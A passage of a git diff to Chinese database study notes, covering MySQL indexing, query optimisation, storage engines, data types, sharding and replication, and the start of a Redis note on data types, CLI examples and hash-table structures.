-- 将随机 I/O 变为顺序 I/O（B+Tree 索引是有序的，会将相邻的数据都存储在一起）。
+- 将随机 I/O 变为顺序 I/O（B+Tree 索引是有序的，会将相邻的数据都存储在一起）。
 
-## 索引的使用条件
+## 索引的使用条件
 
-- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效；
+- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效；
 
-- 对于中到大型的表，索引就非常有效；
+- 对于中到大型的表，索引就非常有效；
 
-- 但是对于特大型的表，建立和维护索引的代价将会随之增长。这种情况下，需要用到一种技术可以直接区分出需要查询的一组数据，而不是一条记录一条记录地匹配，例如可以使用分区技术。
+- 但是对于特大型的表，建立和维护索引的代价将会随之增长。这种情况下，需要用到一种技术可以直接区分出需要查询的一组数据，而不是一条记录一条记录地匹配，例如可以使用分区技术。
 
-# 二、查询性能优化
+# 二、查询性能优化
 
-## 使用 Explain 进行分析
+## 使用 Explain 进行分析
 
-Explain 用来分析 SELECT 查询语句，开发人员可以通过分析 Explain 结果来优化查询语句。
+Explain 用来分析 SELECT 查询语句，开发人员可以通过分析 Explain 结果来优化查询语句。
 
 比较重要的字段有：
 
-- select_type : 查询类型，有简单查询、联合查询、子查询等
-- key : 使用的索引
-- rows : 扫描的行数
+- select_type : 查询类型，有简单查询、联合查询、子查询等
+- key : 使用的索引
+- rows : 扫描的行数
 
-## 优化数据访问
+## 优化数据访问
 
-### 1. 减少请求的数据量
+### 1. 减少请求的数据量
 
-- 只返回必要的列：最好不要使用 SELECT * 语句。
-- 只返回必要的行：使用 LIMIT 语句来限制返回的数据。
-- 缓存重复查询的数据：使用缓存可以避免在数据库中进行查询，特别在要查询的数据经常被重复查询时，缓存带来的查询性能提升将会是非常明显的。
+- 只返回必要的列：最好不要使用 SELECT * 语句。
+- 只返回必要的行：使用 LIMIT 语句来限制返回的数据。
+- 缓存重复查询的数据：使用缓存可以避免在数据库中进行查询，特别在要查询的数据经常被重复查询时，缓存带来的查询性能提升将会是非常明显的。
 
-### 2. 减少服务器端扫描的行数
+### 2. 减少服务器端扫描的行数
 
 最有效的方式是使用索引来覆盖查询。
 
-## 重构查询方式
+## 重构查询方式
 
-### 1. 切分大查询
+### 1. 切分大查询
 
 一个大查询如果一次性执行的话，可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
 
 ```sql
-DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
+DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
 ```
 
 ```sql
-rows_affected = 0
-do {
-    rows_affected = do_query(
-    "DELETE FROM messages WHERE create  < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
-} while rows_affected > 0
+rows_affected = 0
+do {
+    rows_affected = do_query(
+    "DELETE FROM messages WHERE create  < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
+} while rows_affected > 0
 ```
 
-### 2. 分解大连接查询
+### 2. 分解大连接查询
 
 将一个大连接查询分解成对每一个表进行一次单表查询，然后在应用程序中进行关联，这样做的好处有：
 
-- 让缓存更高效。对于连接查询，如果其中一个表发生变化，那么整个查询缓存就无法使用。而分解后的多个查询，即使其中一个表发生变化，对其它表的查询缓存依然可以使用。
-- 分解成多个单表查询，这些单表查询的缓存结果更可能被其它查询使用到，从而减少冗余记录的查询。
-- 减少锁竞争；
-- 在应用层进行连接，可以更容易对数据库进行拆分，从而更容易做到高性能和可伸缩。
-- 查询本身效率也可能会有所提升。例如下面的例子中，使用 IN() 代替连接查询，可以让 MySQL 按照 ID 顺序进行查询，这可能比随机的连接要更高效。
+- 让缓存更高效。对于连接查询，如果其中一个表发生变化，那么整个查询缓存就无法使用。而分解后的多个查询，即使其中一个表发生变化，对其它表的查询缓存依然可以使用。
+- 分解成多个单表查询，这些单表查询的缓存结果更可能被其它查询使用到，从而减少冗余记录的查询。
+- 减少锁竞争；
+- 在应用层进行连接，可以更容易对数据库进行拆分，从而更容易做到高性能和可伸缩。
+- 查询本身效率也可能会有所提升。例如下面的例子中，使用 IN() 代替连接查询，可以让 MySQL 按照 ID 顺序进行查询，这可能比随机的连接要更高效。
 
 ```sql
-SELECT * FROM tab
-JOIN tag_post ON tag_post.tag_id=tag.id
-JOIN post ON tag_post.post_id=post.id
-WHERE tag.tag='mysql';
+SELECT * FROM tab
+JOIN tag_post ON tag_post.tag_id=tag.id
+JOIN post ON tag_post.post_id=post.id
+WHERE tag.tag='mysql';
 ```
 
 ```sql
-SELECT * FROM tag WHERE tag='mysql';
-SELECT * FROM tag_post WHERE tag_id=1234;
-SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
+SELECT * FROM tag WHERE tag='mysql';
+SELECT * FROM tag_post WHERE tag_id=1234;
+SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
 ```
 
-# 三、存储引擎
+# 三、存储引擎
 
-## InnoDB
+## InnoDB
 
-是 MySQL 默认的事务型存储引擎，只有在需要它不支持的特性时，才考虑使用其它存储引擎。
+是 MySQL 默认的事务型存储引擎，只有在需要它不支持的特性时，才考虑使用其它存储引擎。
 
-实现了四个标准的隔离级别，默认级别是可重复读（REPEATABLE READ）。在可重复读隔离级别下，通过多版本并发控制（MVCC）+ 间隙锁（Next-Key Locking）防止幻影读。
+实现了四个标准的隔离级别，默认级别是可重复读（REPEATABLE READ）。在可重复读隔离级别下，通过多版本并发控制（MVCC）+ 间隙锁（Next-Key Locking）防止幻影读。
 
 主索引是聚簇索引，在索引中保存了数据，从而避免直接读取磁盘，因此对查询性能有很大的提升。
 
@@ -269,7 +236,7 @@ SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
 
 支持真正的在线热备份。其它存储引擎不支持在线热备份，要获取一致性视图需要停止对所有表的写入，而在读写混合场景中，停止写入可能也意味着停止读取。
 
-## MyISAM
+## MyISAM
 
 设计简单，数据以紧密格式存储。对于只读数据，或者表比较小、可以容忍修复操作，则依然可以使用它。
 
@@ -277,148 +244,156 @@ SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
 
 不支持事务。
 
-不支持行级锁，只能对整张表加锁，读取时会对需要读到的所有表加共享锁，写入时则对表加排它锁。但在表有读取操作的同时，也可以往表中插入新的记录，这被称为并发插入（CONCURRENT INSERT）。
+不支持行级锁，只能对整张表加锁，读取时会对需要读到的所有表加共享锁，写入时则对表加排它锁。但在表有读取操作的同时，也可以往表中插入新的记录，这被称为并发插入（CONCURRENT INSERT）。
 
 可以手工或者自动执行检查和修复操作，但是和事务恢复以及崩溃恢复不同，可能导致一些数据丢失，而且修复操作是非常慢的。
 
-如果指定了 DELAY_KEY_WRITE 选项，在每次修改执行完成时，不会立即将修改的索引数据写入磁盘，而是会写到内存中的键缓冲区，只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能，但是在数据库或者主机崩溃时会造成索引损坏，需要执行修复操作。
+如果指定了 DELAY_KEY_WRITE 选项，在每次修改执行完成时，不会立即将修改的索引数据写入磁盘，而是会写到内存中的键缓冲区，只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能，但是在数据库或者主机崩溃时会造成索引损坏，需要执行修复操作。
 
-## 比较
+## 比较
 
-- 事务：InnoDB 是事务型的，可以使用 Commit 和 Rollback 语句。
+- 事务：InnoDB 是事务型的，可以使用 Commit 和 Rollback 语句。
 
-- 并发：MyISAM 只支持表级锁，而 InnoDB 还支持行级锁。
+- 并发：MyISAM 只支持表级锁，而 InnoDB 还支持行级锁。
 
-- 外键：InnoDB 支持外键。
+- 外键：InnoDB 支持外键。
 
-- 备份：InnoDB 支持在线热备份。
+- 备份：InnoDB 支持在线热备份。
 
-- 崩溃恢复：MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多，而且恢复的速度也更慢。
+- 崩溃恢复：MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多，而且恢复的速度也更慢。
 
-- 其它特性：MyISAM 支持压缩表和空间数据索引。
+- 其它特性：MyISAM 支持压缩表和空间数据索引。
 
-# 四、数据类型
+# 四、数据类型
 
-## 整型
+## 整型
 
-TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间，一般情况下越小的列越好。
+TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间，一般情况下越小的列越好。
 
-INT(11) 中的数字只是规定了交互工具显示字符的个数，对于存储和计算来说是没有意义的。
+INT(11) 中的数字只是规定了交互工具显示字符的个数，对于存储和计算来说是没有意义的。
 
-## 浮点数
+## 浮点数
 
-FLOAT 和 DOUBLE 为浮点类型，DECIMAL 为高精度小数类型。CPU 原生支持浮点运算，但是不支持 DECIMAl 类型的计算，因此 DECIMAL 的计算比浮点类型需要更高的代价。
+FLOAT 和 DOUBLE 为浮点类型，DECIMAL 为高精度小数类型。CPU 原生支持浮点运算，但是不支持 DECIMAl 类型的计算，因此 DECIMAL 的计算比浮点类型需要更高的代价。
 
-FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽，例如 DECIMAL(18, 9) 表示总共 18 位，取 9 位存储小数部分，剩下 9 位存储整数部分。
+FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽，例如 DECIMAL(18, 9) 表示总共 18 位，取 9 位存储小数部分，剩下 9 位存储整数部分。
 
-## 字符串
+## 字符串
 
-主要有 CHAR 和 VARCHAR 两种类型，一种是定长的，一种是变长的。
+主要有 CHAR 和 VARCHAR 两种类型，一种是定长的，一种是变长的。
 
-VARCHAR 这种变长类型能够节省空间，因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长，当超出一个页所能容纳的大小时，就要执行额外的操作。MyISAM 会将行拆成不同的片段存储，而 InnoDB 则需要分裂页来使行放进页内。
+VARCHAR 这种变长类型能够节省空间，因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长，当超出一个页所能容纳的大小时，就要执行额外的操作。MyISAM 会将行拆成不同的片段存储，而 InnoDB 则需要分裂页来使行放进页内。
 
-在进行存储和检索时，会保留 VARCHAR 末尾的空格，而会删除 CHAR 末尾的空格。
+在进行存储和检索时，会保留 VARCHAR 末尾的空格，而会删除 CHAR 末尾的空格。
 
-## 时间和日期
+## 时间和日期
 
-MySQL 提供了两种相似的日期时间类型：DATETIME 和 TIMESTAMP。
+MySQL 提供了两种相似的日期时间类型：DATETIME 和 TIMESTAMP。
 
-### 1. DATETIME
+### 1. DATETIME
 
-能够保存从 1001 年到 9999 年的日期和时间，精度为秒，使用 8 字节的存储空间。
+能够保存从 1001 年到 9999 年的日期和时间，精度为秒，使用 8 字节的存储空间。
 
 它与时区无关。
 
-默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
+默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
 
-### 2. TIMESTAMP
+### 2. TIMESTAMP
 
-和 UNIX 时间戳相同，保存从 1970 年 1 月 1 日午夜（格林威治时间）以来的秒数，使用 4 个字节，只能表示从 1970 年到 2038 年。
+和 UNIX 时间戳相同，保存从 1970 年 1 月 1 日午夜（格林威治时间）以来的秒数，使用 4 个字节，只能表示从 1970 年到 2038 年。
 
 它和时区有关，也就是说一个时间戳在不同的时区所代表的具体时间是不同的。
 
-MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期，并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
+MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期，并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
 
-默认情况下，如果插入时没有指定 TIMESTAMP 列的值，会将这个值设置为当前时间。
+默认情况下，如果插入时没有指定 TIMESTAMP 列的值，会将这个值设置为当前时间。
 
-应该尽量使用 TIMESTAMP，因为它比 DATETIME 空间效率更高。
+应该尽量使用 TIMESTAMP，因为它比 DATETIME 空间效率更高。
 
-# 五、切分
+# 五、切分
 
-## 水平切分
+## 水平切分
 
-水平切分又称为 Sharding，它是将同一个表中的记录拆分到多个结构相同的表中。
+水平切分又称为 Sharding，它是将同一个表中的记录拆分到多个结构相同的表中。
 
-当一个表的数据不断增多时，Sharding 是必然的选择，它可以将数据分布到集群的不同节点上，从而缓存单个数据库的压力。
+当一个表的数据不断增多时，Sharding 是必然的选择，它可以将数据分布到集群的不同节点上，从而缓存单个数据库的压力。
 
-<div align="center"> <img src="pics/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg"/> </div><br>
+![](index_files/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg)
 
-## 垂直切分
+## 垂直切分
 
 垂直切分是将一张表按列切分成多个表，通常是按照列的关系密集程度进行切分，也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。
 
 在数据库的层面使用垂直切分将按数据库中表的密集程度部署到不同的库中，例如将原来的电商数据库垂直切分成商品数据库、用户数据库等。
 
-<div align="center"> <img src="pics/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg"/> </div><br>
+![](index_files/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg)
 
-## Sharding 策略
+## Sharding 策略
 
-- 哈希取模：hash(key) % N；
-- 范围：可以是 ID 范围也可以是时间范围；
-- 映射表：使用单独的一个数据库来存储映射关系。
+- 哈希取模：hash(key) % N；
+- 范围：可以是 ID 范围也可以是时间范围；
+- 映射表：使用单独的一个数据库来存储映射关系。
 
-## Sharding 存在的问题
+## Sharding 存在的问题
 
-### 1. 事务问题
+### 1. 事务问题
 
-使用分布式事务来解决，比如 XA 接口。
+使用分布式事务来解决，比如 XA 接口。
 
-### 2. 连接
+### 2. 连接
 
 可以将原来的连接分解成多个单表查询，然后在用户程序中进行连接。
 
-### 3. ID 唯一性
+### 3. ID 唯一性
 
-- 使用全局唯一 ID（GUID）
-- 为每个分片指定一个 ID 范围
-- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
+- 使用全局唯一 ID（GUID）
+- 为每个分片指定一个 ID 范围
+- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
 
-# 六、复制
+# 六、复制
 
-## 主从复制
+## 主从复制
 
-主要涉及三个线程：binlog 线程、I/O 线程和 SQL 线程。
+主要涉及三个线程：binlog 线程、I/O 线程和 SQL 线程。
 
--  **binlog 线程** ：负责将主服务器上的数据更改写入二进制日志（Binary log）中。
--  **I/O 线程** ：负责从主服务器上读取二进制日志，并写入从服务器的重放日志（Replay log）中。
--  **SQL 线程** ：负责读取重放日志并重放其中的 SQL 语句。
+- **binlog 线程**：负责将主服务器上的数据更改写入二进制日志（Binary log）中。
+- **I/O 线程**：负责从主服务器上读取二进制日志，并写入从服务器的重放日志（Replay log）中。
+- **SQL 线程**：负责读取重放日志并重放其中的 SQL 语句。
 
-<div align="center"> <img src="pics/master-slave.png"/> </div><br>
+![](index_files/master-slave.png)
 
-## 读写分离
+## 读写分离
 
 主服务器处理写操作以及实时性要求比较高的读操作，而从服务器处理读操作。
 
 读写分离能提高性能的原因在于：
 
-- 主从服务器负责各自的读和写，极大程度缓解了锁的争用；
-- 从服务器可以使用 MyISAM，提升查询性能以及节约系统开销；
-- 增加冗余，提高可用性。
+- 主从服务器负责各自的读和写，极大程度缓解了锁的争用；
+- 从服务器可以使用 MyISAM，提升查询性能以及节约系统开销；
+- 增加冗余，提高可用性。
 
 读写分离常用代理方式来实现，代理服务器接收应用层传来的读写请求，然后决定转发到哪个服务器。
 
-<div align="center"> <img src="pics/master-slave-proxy.png"/> </div><br>
+![](index_files/master-slave-proxy.png)
 
-# 参考资料
+# 参考资料
 
-- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
-- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
-- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
-- [服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策")
-- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
-- [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
-- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
-- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
-- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
-- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
-- [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)
+- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
+- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
+- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
+- [服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策")
+- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
+- [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
+- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
+- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
+- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
+- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
+- [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)
+---bottom---CyC---
+![](index_files/d5ce91a7-45f9-4560-9917-0dccd4900826.png)
+![](index_files/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png)
+![](index_files/1e74234e-d70b-411c-9333-226bcbb9c8f0.png)
+![](index_files/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg)
+![](index_files/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg)
+![](index_files/master-slave.png)
+![](index_files/master-slave-proxy.png)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index 2dc996c0..4302c1a0 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,433 +1,385 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概述](#一概述)
-* [二、数据类型](#二数据类型)
-    * [STRING](#string)
-    * [LIST](#list)
-    * [SET](#set)
-    * [HASH](#hash)
-    * [ZSET](#zset)
-* [三、数据结构](#三数据结构)
-    * [字典](#字典)
-    * [跳跃表](#跳跃表)
-* [四、使用场景](#四使用场景)
-    * [计数器](#计数器)
-    * [缓存](#缓存)
-    * [查找表](#查找表)
-    * [消息队列](#消息队列)
-    * [会话缓存](#会话缓存)
-    * [分布式锁实现](#分布式锁实现)
-    * [其它](#其它)
-* [五、Redis 与 Memcached](#五redis-与-memcached)
-    * [数据类型](#数据类型)
-    * [数据持久化](#数据持久化)
-    * [分布式](#分布式)
-    * [内存管理机制](#内存管理机制)
-* [六、键的过期时间](#六键的过期时间)
-* [七、数据淘汰策略](#七数据淘汰策略)
-* [八、持久化](#八持久化)
-    * [RDB 持久化](#rdb-持久化)
-    * [AOF 持久化](#aof-持久化)
-* [九、事务](#九事务)
-* [十、事件](#十事件)
-    * [文件事件](#文件事件)
-    * [时间事件](#时间事件)
-    * [事件的调度与执行](#事件的调度与执行)
-* [十一、复制](#十一复制)
-    * [连接过程](#连接过程)
-    * [主从链](#主从链)
-* [十二、Sentinel](#十二sentinel)
-* [十三、分片](#十三分片)
-* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
-    * [文章信息](#文章信息)
-    * [点赞功能](#点赞功能)
-    * [对文章进行排序](#对文章进行排序)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、概述
 
-
-# 一、概述
-
-Redis 是速度非常快的非关系型（NoSQL）内存键值数据库，可以存储键和五种不同类型的值之间的映射。
+Redis 是速度非常快的非关系型（NoSQL）内存键值数据库，可以存储键和五种不同类型的值之间的映射。
 
 键的类型只能为字符串，值支持五种数据类型：字符串、列表、集合、散列表、有序集合。
 
-Redis 支持很多特性，例如将内存中的数据持久化到硬盘中，使用复制来扩展读性能，使用分片来扩展写性能。
+Redis 支持很多特性，例如将内存中的数据持久化到硬盘中，使用复制来扩展读性能，使用分片来扩展写性能。
 
-# 二、数据类型
+# 二、数据类型
 
-| 数据类型 | 可以存储的值 | 操作 |
-| :--: | :--: | :--: |
-| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
-| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪，只保留一个范围内的元素 |
-| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
-| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
-| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
+| 数据类型 | 可以存储的值 | 操作 |
+| :--: | :--: | :--: |
+| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
+| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪，只保留一个范围内的元素 |
+| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
+| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
+| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
 
-> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
+> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
 
-## STRING
+## STRING
 
-<div align="center"> <img src="pics/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br>
+<img src="index_files/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/>
 
 ```html
-> set hello world
+> set hello world
 OK
-> get hello
+> get hello
 "world"
-> del hello
-(integer) 1
-> get hello
+> del hello
+(integer) 1
+> get hello
 (nil)
 ```
 
-## LIST
+## LIST
 
-<div align="center"> <img src="pics/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br>
+<img src="index_files/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/>
 
 ```html
-> rpush list-key item
-(integer) 1
-> rpush list-key item2
-(integer) 2
-> rpush list-key item
-(integer) 3
+> rpush list-key item
+(integer) 1
+> rpush list-key item2
+(integer) 2
+> rpush list-key item
+(integer) 3
 
-> lrange list-key 0 -1
-1) "item"
-2) "item2"
-3) "item"
+> lrange list-key 0 -1
+1) "item"
+2) "item2"
+3) "item"
 
-> lindex list-key 1
+> lindex list-key 1
 "item2"
 
-> lpop list-key
+> lpop list-key
 "item"
 
-> lrange list-key 0 -1
-1) "item2"
-2) "item"
+> lrange list-key 0 -1
+1) "item2"
+2) "item"
 ```
 
-## SET
+## SET
 
-<div align="center"> <img src="pics/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br>
+<img src="index_files/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/>
 
 ```html
-> sadd set-key item
-(integer) 1
-> sadd set-key item2
-(integer) 1
-> sadd set-key item3
-(integer) 1
-> sadd set-key item
-(integer) 0
+> sadd set-key item
+(integer) 1
+> sadd set-key item2
+(integer) 1
+> sadd set-key item3
+(integer) 1
+> sadd set-key item
+(integer) 0
 
-> smembers set-key
-1) "item"
-2) "item2"
-3) "item3"
+> smembers set-key
+1) "item"
+2) "item2"
+3) "item3"
 
-> sismember set-key item4
-(integer) 0
-> sismember set-key item
-(integer) 1
+> sismember set-key item4
+(integer) 0
+> sismember set-key item
+(integer) 1
 
-> srem set-key item2
-(integer) 1
-> srem set-key item2
-(integer) 0
+> srem set-key item2
+(integer) 1
+> srem set-key item2
+(integer) 0
 
-> smembers set-key
-1) "item"
-2) "item3"
+> smembers set-key
+1) "item"
+2) "item3"
 ```
 
-## HASH
+## HASH
 
-<div align="center"> <img src="pics/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br>
+<img src="index_files/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/>
 
 ```html
-> hset hash-key sub-key1 value1
-(integer) 1
-> hset hash-key sub-key2 value2
-(integer) 1
-> hset hash-key sub-key1 value1
-(integer) 0
+> hset hash-key sub-key1 value1
+(integer) 1
+> hset hash-key sub-key2 value2
+(integer) 1
+> hset hash-key sub-key1 value1
+(integer) 0
 
-> hgetall hash-key
-1) "sub-key1"
-2) "value1"
-3) "sub-key2"
-4) "value2"
+> hgetall hash-key
+1) "sub-key1"
+2) "value1"
+3) "sub-key2"
+4) "value2"
 
-> hdel hash-key sub-key2
-(integer) 1
-> hdel hash-key sub-key2
-(integer) 0
+> hdel hash-key sub-key2
+(integer) 1
+> hdel hash-key sub-key2
+(integer) 0
 
-> hget hash-key sub-key1
+> hget hash-key sub-key1
 "value1"
 
-> hgetall hash-key
-1) "sub-key1"
-2) "value1"
+> hgetall hash-key
+1) "sub-key1"
+2) "value1"
 ```
 
-## ZSET
+## ZSET
 
-<div align="center"> <img src="pics/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br>
+<img src="index_files/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/>
 
 ```html
-> zadd zset-key 728 member1
-(integer) 1
-> zadd zset-key 982 member0
-(integer) 1
-> zadd zset-key 982 member0
-(integer) 0
+> zadd zset-key 728 member1
+(integer) 1
+> zadd zset-key 982 member0
+(integer) 1
+> zadd zset-key 982 member0
+(integer) 0
 
-> zrange zset-key 0 -1 withscores
-1) "member1"
-2) "728"
-3) "member0"
-4) "982"
+> zrange zset-key 0 -1 withscores
+1) "member1"
+2) "728"
+3) "member0"
+4) "982"
 
-> zrangebyscore zset-key 0 800 withscores
-1) "member1"
-2) "728"
+> zrangebyscore zset-key 0 800 withscores
+1) "member1"
+2) "728"
 
-> zrem zset-key member1
-(integer) 1
-> zrem zset-key member1
-(integer) 0
+> zrem zset-key member1
+(integer) 1
+> zrem zset-key member1
+(integer) 0
 
-> zrange zset-key 0 -1 withscores
-1) "member0"
-2) "982"
+> zrange zset-key 0 -1 withscores
+1) "member0"
+2) "982"
 ```
 
-# 三、数据结构
+# 三、数据结构
 
-## 字典
+## 字典
 
-dictht 是一个散列表结构，使用拉链法保存哈希冲突。
+dictht 是一个散列表结构，使用拉链法保存哈希冲突。
 
 ```c
-/* This is our hash table structure. Every dictionary has two of this as we
- * implement incremental rehashing, for the old to the new table. */
-typedef struct dictht {
-    dictEntry **table;
-    unsigned long size;
-    unsigned long sizemask;
-    unsigned long used;
-} dictht;
+/* This is our hash table structure. Every dictionary has two of this as we
+ * implement incremental rehashing, for the old to the new table. */
+typedef struct dictht {
+    dictEntry **table;
+    unsigned long size;
+    unsigned long sizemask;
+    unsigned long used;
+} dictht;
 ```
 
 ```c
-typedef struct dictEntry {
-    void *key;
-    union {
-        void *val;
-        uint64_t u64;
-        int64_t s64;
-        double d;
-    } v;
-    struct dictEntry *next;
-} dictEntry;
+typedef struct dictEntry {
+    void *key;
+    union {
+        void *val;
+        uint64_t u64;
+        int64_t s64;
+        double d;
+    } v;
+    struct dictEntry *next;
+} dictEntry;
 ```
 
-Redis 的字典 dict 中包含两个哈希表 dictht，这是为了方便进行 rehash 操作。在扩容时，将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
+Redis 的字典 dict 中包含两个哈希表 dictht，这是为了方便进行 rehash 操作。在扩容时，将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
 
 ```c
-typedef struct dict {
-    dictType *type;
-    void *privdata;
-    dictht ht[2];
-    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
-    unsigned long iterators; /* number of iterators currently running */
-} dict;
+typedef struct dict {
+    dictType *type;
+    void *privdata;
+    dictht ht[2];
+    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
+    unsigned long iterators; /* number of iterators currently running */
+} dict;
 ```
 
-rehash 操作不是一次性完成，而是采用渐进方式，这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
